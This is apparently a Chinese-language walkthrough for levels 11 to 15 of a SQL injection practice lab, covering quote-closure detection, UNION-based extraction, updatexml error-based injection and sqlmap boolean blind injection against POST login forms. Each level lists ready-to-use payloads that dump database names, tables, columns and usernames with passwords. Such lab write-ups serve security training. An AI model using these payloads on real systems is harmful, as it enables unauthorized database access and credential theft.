第十一关('闭合)
一、判断类型
1.从这关开始变成登录框输入,尝试登录一下,只有一个登录错误回显
2.在用户名处使用 ' 进行注释,发现出现了sql语句错误提醒,说明是通过单引号进行闭合
二、进行注入
1.插入一个永真式即可爆出用户名和密码,但这只是其中一行
admin' 1 =1 #
2.下面判断字段数
Dumb' order by 3 # \出现错误回显
Dumb' order by 2 # \成功登入
由此可得到字段数为2
3.爆出数据库名称
' union select schema(),version() #
4.爆出数据库中的表名
' union select group_concat(table_name),2 from information_schema.tables where table_schema=schema() #
5.爆出users表中的列名
' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #
6.爆出用户名和密码
' union select group_concat(username,password),2 from users #
以上第十一关成功结束。
第十二关( '')闭合)
一、判断类型
通过报错可以发现这关的闭合方式为 ''
后续步骤与上一关相同
二、进行注入
1. ") union select schema(),version() #
2. ") union select 1,group_concat(table_name) from information_schema.tables where table_schema=schema() #
3. ") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
4.") union select 1,group_concat(username,0x7e,password) from users #
以上第十二关成功结束。
第十三关( ')闭合的报错注入)
一、判断类型
1.通过报错可以发现这关的闭合方式为 ')
2.使用union select联合注入没有反应,这时就可以进行报错注入(与get型类似)
') union select schema(),version() #
二、进行注入
1.爆出数据库名:
') and updatexml(1,concat(0x7e,(schema()),0x7e),1) #
2.爆出所有表名
') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=schema()),0x7e),3) #
3.爆出user表中所有列
') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),3) #
4.爆出用户名和密码
') and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),3) #
以上第十三关成功结束。
第十四关("闭合的报错注入)
一、判断类型
1.通过报错注入发现是 " 闭合
2.同样使用union联合查询也是没有回显 ,使用报错注入
剩余步骤与十三关相同
二、进行注入
1. " and updatexml(1,concat(0x7e,(schema()),0x7e),1) #
2. " and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema. tables where table_schema =schema()),0x7e),3) #
3. " and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),3) #
4. " and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),3) #
以上第十四关成功结束。
第十五关(POST型布尔盲注)
一、判断类型
1.利用 \ 进行报错注入发现没有错误回显,这时就要进行盲注
2.判断是什么类型的盲注,发现有两种界面:登录或失败,说明是布尔盲注(与GET型类似)
3.通过尝试发现是使用 ' 闭合
二、进行注入
1.猜所有字符借助sqlmap工具
下载地址:http://github.com/sqlmapproject/sqlmap
2.由于是POST型,抓包将数据包存到文件中
注意文件路径,要放到sqlmap同一个文件夹下
3.使用sqlmap对网页进行渗透,发现存在布尔盲注漏洞
python sqlmap.py -r 15.txt --batch
4.接下来爆出所有数据库
python sqlmap.py -r 15.txt --dbs
5.爆出security库中的全部表名
python sqlmap.py -r 15.txt -D security --tables
6.爆出users表中所有列
python sqlmap.py -r 15.txt -D security -T users --columns
7.爆出username和password的所有数据
python sqlmap.py -r 15.txt -D security -T users -C username,password --dump
以上第十五关成功结束。